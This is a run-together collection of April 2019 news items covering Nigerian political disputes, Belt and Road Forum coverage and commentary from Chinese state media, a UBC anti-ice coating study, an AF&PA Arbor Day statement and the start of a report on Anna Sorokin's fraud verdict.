Oshiomholes pronouncements and actions, Zamfara and Imo governorship crisis were fomented. At the end of the day, APC lost governorship seats in Bauchi, Adamawa, Imo, Oyo, Benue, Sokoto and with court decisions, also in Zamfara and Osun states. Chris Ngige, minister of labour, says being a medical doctor since 1979 puts him in a position to know the situation of things in the ... Chris Ngige, minister of labour, says being a medical doctor since 1979 puts him in a position to know the situation of things in the health sector. In a statement issued by Nwachukwu Obidiwe, his spokesman, Ngige said the truth hurts but it must be told. He also denied making the statement on medical doctors which sparked off reactions on Wednesday. When he appeared on a Channels TV programme on Wednesday, the minister said he was not worried that doctors were leaving the country in droves because the country has more than enough. No, I am not worried (about doctors leaving the country). We have surplus. If you have surplus, you export, he had said in the programme monitored by TheCable. There are surplus in their country and we also have surplus in the medical profession in our country. I can tell you this. In my area, we have excess. Who said we dont have enough doctors? We have more than enough. You can quote me. There is nothing wrong in them travelling out. But in the statement issued on Thursday, he denied dismissing the brain drain in the medical profession, adding that there is a little cause to worry about the issue. He also said he was misquoted, adding that he never said doctors could seek green pasture abroad but that they were free to go for training abroad and return to practise. I speak from the vintage position of being a medical doctor and member, Nigerian Medical Association since June, 1979 and enriched by my vast knowledge on health administration therefore, the truth no matter how it hurts, must be told and reality, boldly faced, he said. I invite opinion moulders especially those who have spoken or written on this issue to watch the full clip of my interview with Channels (TV). And it is for this reason that I admitted having a little cause to worry about brain drain among medical doctors. What the Minister meant therefore is that these professionals have the right to seek for training abroad to sharpen their skills, become specialists and later turn this problem to a national advantage when they repatriate their legitimate earnings and later return to the country. Even where some of these doctors are bonded to their oversea training institutions, examples abound on the large number of them who have successfully returned to settle and establish specialist centres across the country. It is therefore a question of turning your handicap to an advantage. The fact is that while the federal government has recorded a remarkably steady improvement in our healthcare system, Nigeria is yet to get there. The Peoples Democratic Party (PDP) has condenmed President Muhammadu Buharis private trip to the United Kingdom, saying it was a wrong m... The Peoples Democratic Party (PDP) has condenmed President Muhammadu Buharis private trip to the United Kingdom, saying it was a wrong move sequel to the worsening security challenges bedevilling the nation. The PDP said it was incumbent on President Buhari who is the Commander-in-Chief of the armed forces to end the rising insecurity in various states of the federation. Addressing a press conference on Friday in Abuja, the PDP National Chairman, Prince Uche Secondus said Buharis private trip was not in the interest of the nation. He lamented the killing of innocent citizens in Zamfara, Benue, Taraba and many other states of the federation and asked the government to stem the tide. Secondus also said the presidency was artwisting the Independent National Electoral Commission (INEC) to stop the PDP presidential candidate, Atiku Abubakars legal team from inspecting the election materials despite a court order in that regard. Secondus said it was wrong for INEC to disobey court order, adding that it was part of alleged efforts by the commission and the ruling All Progressives Congress (APC) to frustrate Atiku and stop the PDP from reclaiming the presidential mandate. Nigerian leaders should speak up for the country before Nigeria slides into something else. People are being murdered everyday and Buhari is going on private visit. Nigeria is in crisis. The President has embarked on a private trip to the UK to spend 11 days without writing the National Assembly. He has not asked the Vice President to act. We condemn it. The presidency is also armtwisting INEC. INEC has no reason to stop our legal team from inspecting the election materials. Our politics and governance here is sentimental, Secondus said. President Muhammadu Buharis Special Adviser on Media and Publicity, Femi Adesina, has said that Nigerians, who so wish, have the righ... President Muhammadu Buharis Special Adviser on Media and Publicity, Femi Adesina, has said that Nigerians, who so wish, have the right to believe that his principals private visit to the United Kingdom is to seek medical attention. Adesina stated this on Thursday while featuring on Politics Today which aired on Channels Television. According to him, Those who want to interpret everything, those who want to believe all things should just believe that it is a private trip. When a man goes on a private trip, he has the right to use his time the way he deems because he has the right to private time. So those who want to believe its a medical trip, they have the right to believe, if it pleases them and makes them happier, he said. Adesina also explained that Buhari had not jetted out of the country after the rigorous election campaigns. President Buhari has since the last weekend in December when he launched the presidential campaign, all through till February he was on campaign stuff around the country. Elections came and a lot of people expected that immediately after the elections, he will travel out to rest or attend to his health, but we see two months after the elections, the President was working vigorously, he added. Buhari is expected to spend 10 days in the UK and return to Nigeria on May 5. The Thematic Forum on Infrastructure Connectivity of the Second Belt and Road Forum for International Cooperation (BRF) is held at the China National Convention Center in Beijing, capital of China, April 25, 2019. (Xinhua/Yin Gang) Asiwaju Bola Tinubu, a National Leader of the ruling All Progressives Congress (APC), on yesterday, cleared the air on his absence duri... Asiwaju Bola Tinubu, a National Leader of the ruling All Progressives Congress (APC), on yesterday, cleared the air on his absence during President Muhammadu Buharis visit to Lagos State. Buhari had on Wednesday commissioned projects in Lagos. However, Tinubu was conspicuously absent, a development, which raised eyebrows among Nigerians. There were insinuations that Tinubu shunned the event as a payback for the Presidents absence at the colloquium organized last month to mark his 67th birthday. But, Tunde Rahman, Tinubus Special Adviser on Media on Thursday said the APC leader did not deliberately stay away from Lagos during Buharis visit. Rahman said Tinubu missed the event because he is currently out of the country. The leadership of the Peoples Democratic Party (PDP) in Abia North Senatorial District has told senator-elect, Dr. Orji Uzor Kalu o... (PDP) in Abia North Senatorial District has told senator-elect, Dr. Orji Uzor Kalu of the All Progressives Congress, ( APC) that he cant get away with what it termed a stolen mandate. The leadership of the Peoples Democratic Party(PDP) in Abia North Senatorial District has told senator-elect,Dr. Orji Uzor Kalu of the All Progressives Congress, ( APC) that he cant get away with what it termed a stolen mandate. Senator, Chief Mao Ohuabunwa of their unflinching support in his bid to recover his stolen mandate. The PDP made their stand known during a solidarity visit to the incumbentSenator, Chief Mao Ohuabunwa of their unflinching support in his bid to recover his stolen mandate. Abia North Zonal Chairman of PDP, Hon Matthew Ibe gave the assurance when he led a delegation of the zonal leadership and other chieftains of the party on a solidarity visit to the senator in his Arochukwu country home yesterday. He said that Abia North PDP as one united family would stop at nothing until the peoples mandate given to our candidate but forcefully stolen by APC is returned . The former lawmaker expressed shock that the Independent National Electoral Commission, INEC, issued certificate of return to Kalu even when he was never returned nor declared the winner of the Abia North senatorial contest by the Returning officer. He urged INEC to withdraw Kalus certificate of return and organise re-run election in all the polling units and wards where votes were canceled. This is the height of impunity and rascality for a man who was never returned in an election to be issued with the certificate of return. Kalu only scored the highest number of votes by fraudulently allocating figures to himself but still at that, the 10,000 votes margin of win remains a far cry from the over 38,000 total number of canceled votes. It is only a question of time and our candidates stolen mandate will be restored , he said. The PDP Zonal Chairman urged other successful candidates of the party including Gov. Okezie Ikpeazu and his Deputy Ude Oko Chukwu not to abandon the senator but relentlessly sustain their support until his mandate is restored. Responding, Ohuabunwa thanked the delegation for their solidarity, expressing faith that he would get justice at the tribunal. He said the position of the law and INEC guideline on the principle of the margin of win was very clear, and unambiguously makes it illegal for a candidate to be returned in an election if the margin of win is less than the number of canceled votes. Chinese Vice Premier Han Zheng (L), also a member of the Standing Committee of the Political Bureau of the Communist Party of China (CPC) Central Committee, meets with Kenyan President Uhuru Kenyatta, who is here to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Liu Bin) BEIJING, April 25 (Xinhua) -- Chinese Vice Premier Han Zheng on Thursday met with Kenyan President Uhuru Kenyatta, who is here to attend the Second Belt and Road Forum for International Cooperation. China is willing to deepen Belt and Road cooperation with Kenya under the principle of extensive consultation, joint contribution and shared benefits, and constantly advance the comprehensive strategic cooperative partnership between the two countries, Han said. Kenyatta said Kenya is willing to deepen cooperation with China on economy, trade and other areas, and the country hopes to implement the outcomes achieved at the Beijing Summit of the Forum on China-Africa Cooperation together with China. GUANGZHOU, April 25 (Xinhua) -- The Export-Import Bank of China and Standard Chartered Bank on Thursday signed a memorandum of understanding (MoU) for cooperation under the framework of the Belt and Road Initiative (BRI). The two banks agreed to give full play to their respective advantages and enhance exchange on information communication and knowledge to jointly provide financial support and services for the Belt and Road projects through cooperation in fields including syndicated loans, financial markets and trade finance, according to the MoU. The two sides said that it requires multiple sources of funding and professional collaboration to promote the high-quality development of Belt and Road projects. Supporting the Belt and Road construction is one of the priorities of the Export-Import Bank of China, which has supported more than 1,800 projects in countries participating in BRI with a loan balance amount of more than 1 trillion yuan (about 149.25 billion U.S. dollars), according to its president Zhang Qingsong. In 2018, the Standard Chartered Bank was involved in about 100 BRI projects, with the combined financing of more than 20 billion U.S. dollars. The City of London Corporation's Green Finance Initiative (GFI), in partnership with China's Green Finance Committee (GFC), announced today that 27 firms from around the world have signed up to a set of green finance guidelines for the Belt and Road Initiative (BRI). Building on existing responsible finance initiatives, the Green Investment Principles aim to incorporate low-carbon and sustainable development into projects in Belt and Road countries, which represent approximately 40 percent of the earth's total land area and 55 percent of total CO2 emissions. The UK headquartered bank Standard Chartered was the first to sign up to the voluntary code of conduct. The announcement was made at an event held in the Chinese capital, Beijing, on the sidelines of this year's Belt and Road Forum. Key speakers included City Corporation Policy Chair Catherine McGuinness and Chairman of the Green Finance Committee Dr Ma Jun. The principles, a project first proposed in the 9th UK-China Economic and Financial Dialogue, were drafted by several organisations including the World Economic Forum, UNPRI, Belt & Road Bankers Roundtable and the Paulson Institute. First published in London by the GFI and GFC late last year, the principles are supported financially by the UK government through the China-UK PACT programme (Partnering for Accelerated Climate Transitions). This funding aims to bolster robust implementation and governance of the principles, and support signatories to share their knowledge and collectively raise their ambition over time, drawing on the UK's green finance expertise and leadership. City of London Corporation Policy Chair Catherine McGuinness said: These principles are the start of a journey to green the Belt and Road, providing a framework for how firms and organisations can incorporate low-carbon and sustainable development into BRI projects. I'm delighted to see so many firms sign up to the guidelines, and hope many others will decide to come on board. While there is some way to go to ensuring the Belt and Road is truly green, today's announcement is another step in the right direction, and a powerful statement of intent from financial firms in China, the UK and across the world. I look forward to conversations going forward on how the UK can work with our Chinese and international partners to ensure the project of the century is sustainable and environmentally friendly, and to seeing these principles evolve. Dr Ma Jun, Chairman of China Green Finance Committee, said, The majority of global infrastructure investment in the coming decades will be in the Belt and Road region, and they will have a significant impact on the implementation of the Paris Agreement and UN Sustainable Development Goals. The GIP aims to ensure that environmental friendliness, climate resilience, and social inclusiveness are built into new investment projects in the Belt and Road. The GIP has already received strong support from many global financial institutions, and we expect more lenders, investors and nonfinancial corporates to sign up to it. More details of the Principles are expected to be announced later this year at the City of London Corporations Green Finance Summit. London is rated as the top global financial hub for the quality of its green finance offering in the latest Green Global Finance Index, published by Long Finance in March 2019. (Tianxing Bai) Clearing an icy windshield is about to get easier, says UBC engineer Scraping an icy windshield can be a seasonal struggle for those that live in colder climates. But engineers from UBC's Okanagan campus are aiming to ease that winter frustration with a new surface coating that can shed ice from large areas using little effort. The new anti-ice coating is a new class of surfaces called low interfacial toughness (LIT) materials and were developed by UBC Okanagan researchers in a new study published this week in the journal Science. "For those experienced in the early morning windshield scrape, it should come as no surprise that it normally takes quite a lot of force to remove large areas of ice," explains Kevin Golovin, assistant professor at the UBCO School of Engineering and study lead author. "That's not the case with LIT materials. Imagine simply brushing the ice away or letting it sliding off the windshield from its own weight--that's how effective LIT materials can be." According to Golovin, the development of this new class of materials is changing the way scientists understand ice adhesion. "We're disproving the last 80 years of thinking about how to lower ice adhesion. Lowering toughness had never been explored as an effective de-icing strategy." Golovin says LIT materials work by causing cracks to form easily beneath the ice, allowing it to readily dislodge. He compares the effect to a string of dominos. "If designed correctly, the force to knock down a single domino is enough to topple them all--adding more dominoes doesn't require you to push any harder," says Golovin. "It's the same with LIT materials. Once you form a crack it can de-ice the entire interface, whether it's the length of a windshield, an airplane wing or a turbine blade." Golovin says LIT materials can be fabricated from commonplace paints and plastics but possess superior performance against state-of-the-art anti-icing materials in different applications like the de-icing of power lines, aviation wings and even in complex shapes like ice cube trays. "Ice buildup has adverse effects on a range of commercial and residential activities, from downed power lines to air travel delays to scraping one's windshield," says Golovin. "This development is definitely a game-changer." ### The research, in partnership with the University of Michigan, was funded by the US Office of Naval Research, the US Department of Defense and the Natural Sciences and Engineering Research Council of Canada. This story has been published on: 2019-04-26. To contact the author, please use the contact details within the article. Civilizations to shed light on the community with a share future for mankind Chinese President Xi Jinping proposed at the first Belt and Road Forum for International Cooperation (BRF) two years ago to build the Belt and Road into a road connecting different civilizations, introducing a broad vision of civilization to todays world. In pursuing the Belt and Road Initiative (BRI), we should ensure that when it comes to different civilizations, exchange will replace estrangement, mutual learning will replace clashes, and coexistence will replace a sense of superiority. This will boost mutual understanding, mutual respect and mutual trust among different countries, the Chinese President remarked. Now, the second BRF is just around the corner, and people are expecting more toward mutual learning among different cultures. It is believed that human civilization will embrace better development with the progress of the Belt and Road construction. History has illustrated the profound philosophy of the development of human civilization. 2000 years ago, China opened the overland and maritime Silk Roads and thus started a great era of exchanges among civilizations and left extremely valuable memories for the mankind. The history sets a reference for the modern world, and people are inspired by the great undertaking of the Belt and Road construction. As the BRI is more and more recognized and gaining reputation around the globe, the transcontinental exchanges of civilizations that once prospered in history will be reactivated. A French scholar said that the Belt and Road is building a civilization path in the modern time, leading human civilization toward a brighter and more colorful future. The Belt and Road nurtures inclusiveness and reciprocity in civilization exchange. An exhibition of foreign cultural relics held by the National Museum of China under the theme of Sharing a Common Future attracted numerous visitors, showcasing the beauty of cultural diversity. China is my prioritized destination for overseas study, said a Russian student surnamed Yurievna. What she said also applies to many young students in Belt and Road countries. You gotta see, my friend, new bridges over old places, see yourself the miracles. The lyrics of a Kenyan song hailing the Chinese-built MombasaNairobi Standard Gauge Railway express sincere appreciation of the Kenyans toward their Chinese friends. Chinese heritage experts, spending years protecting and restoring the Angkor Wat, are giving a rebirth to the splendid historic architectures. Some countries in Central Asia jointly launched a unified service project called the "Silk Road Visa", opening their doors wider to Chinese tourists. The enhanced people-to-people bond and cultural exchanges are becoming a close link that brings together the people along the Belt and Road. The Belt and Road draws a magnificent vision of mutual learning and cultural integration. In the modern world, there are still a part of people who stick to the outdated ethnocentrism and try to conquer other civilizations. On the contrary, China is promoting a vision of civilization that is diversified, equal and inclusive. It calls the world to inherit the Silk Road spirit of peace and cooperation, openness and inclusiveness, mutual learning and mutual benefit, and promote mutual learning among civilizations as it will help build bridges of friendship, drive social progress, and safeguard peace of the world. Chinas role as a responsible major country is recognized by the world. Citing examples of the atrocious destructions of the Bamiyan Buddha in Afghanistan and the ancient city of Palmyra in Syria, as well as the Eurasian countries stomped by extremism, former UNESCO Director-General Irina Bokova noted that it is important to reserve cultural diversity of the world. This is why the Belt and Road Initiative is so important, Bokova added. Some foreign scholars remarked that to enhance dialogues and mutual understanding among civilizations is the most significant impact to be brought by the Belt and Road construction. The Belt and Road leads to a bright future for mankind where different cultures can all be appreciated for their unique beauty. Deliverables of 20 major items regarding people-to-people bond produced by the first BRF have all be implemented, enhancing the cultural foundation for the construction of the Belt and Road. China has established the Belt and Road Scholarship program, implemented initiatives to promote people-to-people exchange and set up joint laboratories, established a music education alliance and enhanced media cooperation with countries along the Belt and Road. In addition, China is also enhancing international anti-corruption cooperation to make the Belt and Road a road of clean governance. The construction of the Belt and Road reveals that civilizations have become richer and more colorful with exchanges and mutual learning. It is helping build broader consensus. A sub-forum on enhancing people- to-people bond is scheduled to be held during the second BRF, where guests from over 150 countries and 90 international organizations will conduct in-depth exchanges and communication. To build the Belt and Road into a road of connected civilizations reflects the common aspiration and wisdom of mankind. The extension of the Belt and Road is the vertical and horizontal extension of the harmonious coexistence of diversified cultures. The prospect of the Belt and Road is the prospect of the community with a shared future for mankind. (Zhong Sheng is a pen name often used by People's Daily to express its views on foreign policy) A Golden Bridge on Silk Road, a thematic landmark of the second Belt and Road Forum for International Cooperation stands in front of the China National Convention Center in Beijing to welcome global guests participating in the event, Apr. 20, 2019. Photo by Peoples Daily Online The Belt and Road Initiative (BRI) has received wide participation and attention from the world since it was proposed six years ago. It is expanding its circle of friends and achieving more and more progress. The concrete projects under the BRI are inevitably of vital importance to achieve the great vision. Whether these projects are carried out timely, as well as their implementation and quality, will affect not only the results of win-win cooperation, but also the reputation of the BRI among global people. Financial integration that has a direct impact on the implementation of the projects is vital for the Belt and Road construction. Since the proposal of the BRI, especially in the recent two years, Chinese financial institutions have played their due roles and made huge contribution to the investment, financing, operation, implementation, and risk control of BRI projects. For instance, policy banks such as the China Development Bank and the Exim Bank of China have given full play to their role in basic financing and are leading other banks in this field. Commercial banks including the Industrial and Commercial Bank of China, the Agricultural Bank of China, the Bank of China and the China Construction Bank have given strong support to commercial projects by their advantages in size and volume. Equity funds such as the Silk Road Fund and China Investment Corporation are also playing a leading role in leveraging domestic and overseas social capital and improving financial structure. In addition, insurance organizations such as China Export and Credit Insurance Corporation have also contributed to the risk control and information services of the BRI projects. These efforts have all provided firm financial support for the construction of the Belt and Road. At the same time, it must be noticed that the Belt and Road construction is a top-level design and a systematic project. It calls for long-term collaboration and efforts to release its economic dividends. Therefore, Chinese financial institutions must further improve their capabilities in the future. They must become more international. Although the BRI was proposed by China, it is a public product that belongs to the world and an undertaking concerning all participating countries. Belt and Road countries vary in economic development and financial environment, and the Chinese financial institutions should enhance their capability building, become more international and do their best to strengthen business relation with their overseas counterparts for mutual support. In addition, these institutions should also strengthen talent construction to increase the knowledge of the professionals about developing countries. Chinese financial institutions must build their capability in policy coordination. As they provide financial services for BRI projects, they have to deal with financial supervision departments of the host countries and regions, and might encounter risks if failing to build sound relationships. In this regard, supervisors such as the Peoples Bank of China should enhance coordination with their counterparts in BRI-related countries, and help Chinese financial institutions strengthen relationship with the financial supervision departments in the host countries so as to establish a sound policy environment. Besides, Chinese financial institutions should keep playing their due roles as professional organizations. The policy risks and market environments of BRI countries are extremely different, and the Chinese financial institutions still have to do extra jobs to cope with the situation despite the rich experiences in this regard gained by certain organizations such as China Export and Credit Insurance Corporation. On one hand, these Chinese institutions should be encouraged to play a bigger role. On the other hand, more resources at college and think tank levels should be integrated. This will guarantee related enterprises to receive timely and effective information services during their participation in financial integration of BRI projects. The second Belt and Road Forum on International Cooperation is expected to create more projects, and Chinese financial institutions will definitely inject more vitality into the implementation of these projects. (Zhao Xijun is the Associate Dean of School of Finance at Renmin University of China.) Academic power couple Steven Pinker and Rebecca Newberger Goldstein probably need no introduction to Open Culture readers, but if so, their lengthy and impressive CVs are only a search and click away. The Harvard cognitive psychologist and novelist and philosopher, respectively, are secular humanist heroes of a sortpublic intellectuals who have dedicated their lives to defending science and classical logic and reasoning. So, what do two such people talk about when they go out to dinner? The TED-Ed video above depicts a date night scenario, with dialogue recorded live at TED in 2012 and edited into an animated Socratic dialogue. The first scene begins with a defensive Goldstein holding forth on the decline of reason in political discourse and popular culture. People who think too well are often accused of elitism, says Goldstein, while she and Pinkers animated avatars stroll under a Star Trek billboard featuring Spock giving the Vulcan salute, just one of many clever details inserted by animation studio Cognitive. Pinker narrows the debate to a dilemmaa Spockean dilemma, if you willbetween the head and heart. Perhaps reason is overrated, he ventures (articulating a position he may not actually hold): Many pundits have argued that a good heart and steadfast moral clarity are superior to the triangulations of over-educated policy wonks. The cowboy with a six-shooter and a heart of gold depicted in the animation bests the stereotypical eggheads in every Hollywood production. The best and brightest of the eggheads, after all, says Pinker, dragged us into the quagmire in Vietnam. Other quagmires advocated by other policy wonks might come to mind (as might the unreasoning cowboys who made the big decisions.) Reason, says Pinker, gave us environmental despoliation and weapons of mass destruction. He sets up a dichotomy between character & conscience on the one side and cold-hearted calculation on the other. My fellow psychologists have shown that we are led by our bodies and our emotions and use our puny powers of reason merely to rationalize our gut feelings after the fact. Goldstein counters, how could a reasoned argument entail the ineffectiveness of reasoned arguments? (Visual learners may remember the image of a person blithely sawing off the branch on which they sit.) By the very act of trying to reason us into your position, youre conceding reasons potency. One might object that stating a scientific theorysuch as the theory that sensation and emotion come before reasoningis not the same as making an Aristotelian argument. But this is a 15-minute debate, not a philosophical treatise. There will, by nature of the forum and the editing process, be elisions and some slippery uses of terminology. Still, when Goldstein dismisses the critique of logocentrism as an allegation of the crime of letting logic dominate our thinking, some philosophers may grind their teeth. The problem of logocentrism is not too much logic but the underlying influence of Platonic idealism and the so-called metaphysics of presence on Western thinking. Without the critique of logocentrism, argues philosopher Peter Gratton, there is no 20th-century continental philosophy. Handwaving away an entire body of thought seems rather hasty. Outside of specific contexts, idealized abstractions like reason and progress may mean little to nothing at all in the messy reality of human affairs. This is the problem Pinker alludes to in asking whether reason can have moral ends if it is mainly a tool we use to satisfy short-term biological and emotional needs and desires. By the time the check arrives, Pinker has been persuaded by Goldsteins argument that in the course of time, maybe a long time, reason is the key driver of moral progress, provided that certain conditions are met: that reasoners care about their well-being and that they belong to a community of other reasoners who hold each other accountable and produce better outcomes than individuals can alone. Drop your assumptions, watch their stimulating animated dinner and see if, by the final course, you are persuaded too. Related Content: Steven Pinker: Dear Humanists, Science is Not Your Enemy What is the Good Life? Plato, Aristotle, Nietzsche, & Kants Ideas in 4 Animated Videos How Can I Know Right From Wrong? Watch Philosophy Animations on Ethics Narrated by Harry Shearer Josh Jones is a writer and musician based in Durham, NC. Follow him at @jdmagness Photo shows panels of a Chinese-built solar power station in Kazakhstan. The solar power station was put into operation at the end of 2018 together with a wind power station that was also built by China. They have greatly elevated China-Kazakhstan cooperation in renewable energy and promoted clean energy in Kazakhstan. (Photo by Zhou Hanbo/Peoples Daily) The second Belt and Road Forum for International Cooperation (BRF) is scheduled from April 25 to 27 in Beijing. The Belt and Road international cooperation, which adheres to the principle of wide consultation, joint contribution and shared benefits, has injected impetus to world economy and boosted common development of all countries, against the backdrop of resurging trade protectionism and rising anti-globalization. The Belt and Road Initiative was first proposed by Chinese President Xi Jinping in Kazakhstan. Since then, China and Kazakhstan have seen fruitful outcomes delivered from the BRI cooperation. In 2018 alone, the BRI cooperation brought huge tangible benefits to the two countries and the two peoples. Last year, the trade volume between China and Kazakhstan reached $19.885 billion, among which Kazakh exports to China were worth $8.535 billion, increasing nearly 30 percent year-on-year. Bilateral trade on farm products has seen rapid growth. In 2018, the trade on farm products between the two countries grew to $596 million, a rise of 18.13 percent on the previous year, of which Kazakh exports to China increased by 37.6 percent. Kazakhstan signed agreements on exports of over 20 varieties of its farm products including dairy and meat during the first China International Import Expo. Nowadays, more Kazakh green food was put on tables of the Chinese people. China and Kazakhstan seek to promote greater connectivity through transit transport. Last year, 13.98 million tons of goods were transported between the two countries under support of the BRI, up by 38 percent year on year. Kazakhstan transported 8.5 million tons of goods to China, a rise of 54 percent year on year. Last year, 2,388 China-Europe freight trains passed through the Alataw Pass and goods transported grew by nearly 50 percent year on year to 1.23 million tons. The number of China-Europe freight trains passing through Horgos Port increased to 404. Last year, the Kazakhstan section of the Western Europe-Western China Highway opened to traffic, supporting two-way transportation between China and Europe. About 50,000 jobs were created with direct economic benefits worth $460 million. Cooperation on production capacity driven by technology innovation between the two countries has made steady progress. 55 projects have been included in the cooperation list with a total contract value exceeding $27.4 billion. After the upgrade of Shymkent oil refinery and the modernization of Atyrau refinery, Kazakhstans capacity in producing refined oil of European IV and V emission standards has been significantly improved, and its petrochemical industry has made substantial progress. The 5-MW wind power generation station and the 1-MW solar power generation station built with the aid of Chinese companies have boosted the development of local green energy industry. Photo shows Chinese and Kazakh engineers discussing operation of an asphalt plant in Aktau, Kazakhstan. The plant is the biggest cooperation project of China and Kazakhstan in the non-resource sector. (Photo by Zhou Hanbo/Peoples Daily) A Chinese dairy plant named Golden Camel in Turkestan could produce 2,500 tons of products per year, creating job opportunities in the local area and opening new markets for Kazakh dairy products. Except for production capacity, China and Kazakhstan are also stepping up efforts to promote efficient and inclusive financial cooperation. China has demonstrated strong support for the building of Astana International Financial Center, with Shanghai Stock Exchange and Silk Road Fund actively participating in the cooperation with the center. Besides, China Development Bank has also opened a representative office in the center. The two countries are now accelerating the negotiation on establishing a regional RMB settlement center, as preparation for higher-level and larger-scale financial cooperation. Thanks to closer people-to-people and cultural exchanges between China and Kazakhstan, about 15,000 Kazakh students are studying in China, and 1,400 Chinese students are studying in Kazakhstan. Six Kazakh language and cultural centers as well as economic and social research institutes have been established in China, while Kazakhstan is also home to five Confucius Institutes. Personal exchanges between the two countries are now better facilitated as Kazakh tourists can stay in south Chinas Hainan province for a most of 30 days visa-free, and Kazakhstan also offers a 72-hour visa-free transit policy to Chinese visitors. China-Kazakhstan cooperation is a miniature of the Belt and Road international cooperation. The joint construction of the Belt and Road is a positive project that shares benefits with all parties. It sets no conspiracy or trap, but only a platform for cooperation and shared development opportunity. We have every reason to believe that the second BRF will further build consensus, map out construction priorities, and find solutions to cooperation issues, to assist meticulous implementation of the BRI and create a better future for the building of a community with a shared future for mankind. The author is Chinese Ambassador to Kazakhstan A student is on his way home after school in Dingkye county, Shigatse prefecture of southwest Chinas Tibet Autonomous Region. Reducing poverty through education and improving peoples livelihood are equally important during the process of Chinas poverty alleviation. The Tibet Autonomous Region has always worked hard to ensure adequate education for children. (Photo by Peoples Daily Online) People in Chinas Tibet Autonomous Region are embracing a better-off life as the country steps up efforts to prosper the region and enrich the people there. The story of a Tibetan who has become rich is a good example. The man surnamed Dawa from Khesum village of Shannan of Tibet Autonomous Region took six jobs to make a living in the past 26 years. Before, he worked as a tractor driver, ran a restaurant, operated harvesters, and drove long-distance freight trucks. Now he has built a two-storey building in his hometown, and bought an apartment in Lhasa, capital of Tibet Autonomous Region. In addition, he is planning to open an agritainment facility to make more money. The spirit of struggle and the aspiration for development of the Tibetan people are vital for building a better-off and prosperous society. Family members eat gutu, a Tibetan staple food, on the eve of the Tibetan New Year, which fell on Feb. 3, 2019. It was their first family reunion after they were relocated to the new house in Ngari Prefecture, Tibet. (Photo by Peoples Daily Online) Dawa is not the only person who has made such achievements in Khesum, the first Tibetan village to carry out democratic reform. Today, the villagers there are following the steps of their predecessors by actively chasing their dreams and exploring new opportunities with great energy. The Khesum people all agree that a better life is earned with their own hands and a beautiful homeland is built with their own efforts. They also feel a strong sense of gain to be part of the national development and the progress of the time. The assistance given to Tibet from other regions across the country plays an indispensable role in building Tibet into a prosperous society. Bailang county in Shigatse city was lifted out of poverty in October 2018 thanks to the aid it received. However, the people there used to have problems meeting their basic needs, as highland barley was the only economic crop in the county. Under the support from various sides, Bailang has outlined a clear plan for development. Nowadays, greenhouses have become a new landscape in the county. Under the guidance of the agricultural experts, Tibetan farmers started to grow vegetables with high economic value such as organic cucumbers, strawberries, and pumpkins. These vegetables have not only enriched the food choice of the Tibetan people, but also created economic benefits for the farmers. The poverty alleviation improved the capability and skills of the farmers and herders, enhancing their confidence in embracing a better-off life. Members of a cooperative receive bonus in Gerze county, Ngari Prefecture, Jan. 17, 2019. The cooperative created 5.568 million yuan in revenue last year. (Photo by Peoples Daily Online) Its an arduous task for Tibet to build itself into a moderately prosperous society by 2020. Xi Jinping, General Secretary of the Central Committee of the Communist Party of China (CPC), pointed out that the goal of bringing prosperity to Tibet entails sustained efforts to improve the well-being of all ethnic groups, promote ethnic unity, economic growth and social progress, and ensure that everyone benefits from the ongoing reform and development initiatives. In 2018, the average per capita disposable income of urban residents in Tibet reached 33,797 yuan ($5,022), and that of rural residents 11,450 yuan. 60 years ago, the democratic reform triggered peoples enthusiasm for pursuing a happy life, and now, as socialism with Chinese characteristics has entered a new era, the Tibetan people are taking firmer steps toward a better life. Those who have been through a cold winter truly cherish the warmth of the sun, as the old saying goes. Under the national strategy to revitalize the countryside, the Tibetan farmers and herders are being led out of the traditional agricultural society and becoming new type of farmers and herders who have integrity, business knowledge and skills. Through targeted poverty alleviation and the efforts to aid Tibet, the Tibetan people have become energized to work hard to get rid of poverty. The modernized agriculture and husbandry provide farmers and herders with new ways of production and new concepts to manage their businesses. Moreover, by embracing entrepreneurship and taking market-oriented approaches, Tibetan entrepreneurs have become more confident and experienced in market economy. These positive changes are impressive. The Tibetan people and cadres expressed that they will cherish the hard-earned happy life and create a brighter future with their hands. Pledging to leave no people behind in building a moderately prosperous society, the country will lead the Tibetan people towards a better life. Paper Keeps Forests as Forests The U.S. paper industry has played an important role in that growth and continues to help keep forests as forests. Paper production gives landowners a viable reason to plant more trees even in places where there are none now. By Jan Poling, Vice President, General Counsel & Corporate Secretary, AF&PA April 26, 2019 - Today is Arbor Day, a holiday that celebrates trees and encourages people to plant them. One-third of the U.S. is forested, and there are more trees on U.S. soil today than there were on the first Earth Day celebration nearly 50 years ago. The U.S. paper industry has played an important role in that growth and continues to help keep forests as forests. Paper production gives landowners a viable reason to plant more trees even in places where there are none now. More than half of U.S. forestlands are privately owned and forest ownership can be expensive. Landowners pay annual property taxes and invest in sustainable forest management, as well as protection against fire, insect and disease infestations, invasive species, etc. Many of these landowners need to make an income from their land and do so by harvesting and replanting of trees for timber sales. This often allows the land to pay for itself. Harvesting (cutting) trees in itself does not cause deforestation. The United Nations Food and Agriculture Organization defines deforestation as a non-temporary change of land use from forest to other land use or to the depletion of forest crown cover to less than 10 percent. Clear cuts (even with stump removal), if shortly followed by reforestation for forestry purposes, are not considered deforestation. When landowners cannot make an income by growing and harvesting trees, they have no financial incentive to keep their land forested, increasing the likelihood that it will be permanently converted to other uses ones that typically do not include the consistent growing and replanting of trees. The major factors contributing to deforestation in the U.S. are urbanization, conversion to agriculture and natural disasters (such as forest fires). Continued demand for paper and paper products means continued demand for trees. Using paper supports our nation's forests by giving landowners an incentive to keep growing trees. To keep forests as forests, proudly use paper! To learn more about how paper helps forests, read our Earth Day blog . The American Forest & Paper Association (AF&PA) serves to advance a sustainable U.S. pulp, paper, packaging, tissue and wood products manufacturing industry through fact-based public policy and marketplace advocacy. AF&PA member companies make products essential for everyday life from renewable and recyclable resources and are committed to continuous improvement through the industry's sustainability initiative Better Practices, Better Planet 2020 . The forest products industry accounts for approximately four percent of the total U.S. manufacturing GDP, manufactures approximately $300 billion in products annually, and employs nearly 950,000 men and women. The industry meets a payroll of approximately $55 billion annually and is among the top 10 manufacturing sector employers in 45 states. Visit AF&PA online at www.afandpa.org or follow us on Twitter @ForestandPaper . SOURCE: AF&PA By now, we're all aware of the sensational life and crimes of one New York-based fake German heiress, Anna "Delvey" Sorokin. Despite her lawyer Todd Spodek's attempts to frame a defense around her as an immigrant carving out her own American Dream, a jury struck it down, finding her guilty of nearly all the fraud charges against her yesterday, The New York Times reports. She faces up to 15 years in prison for the second-degree grand larceny 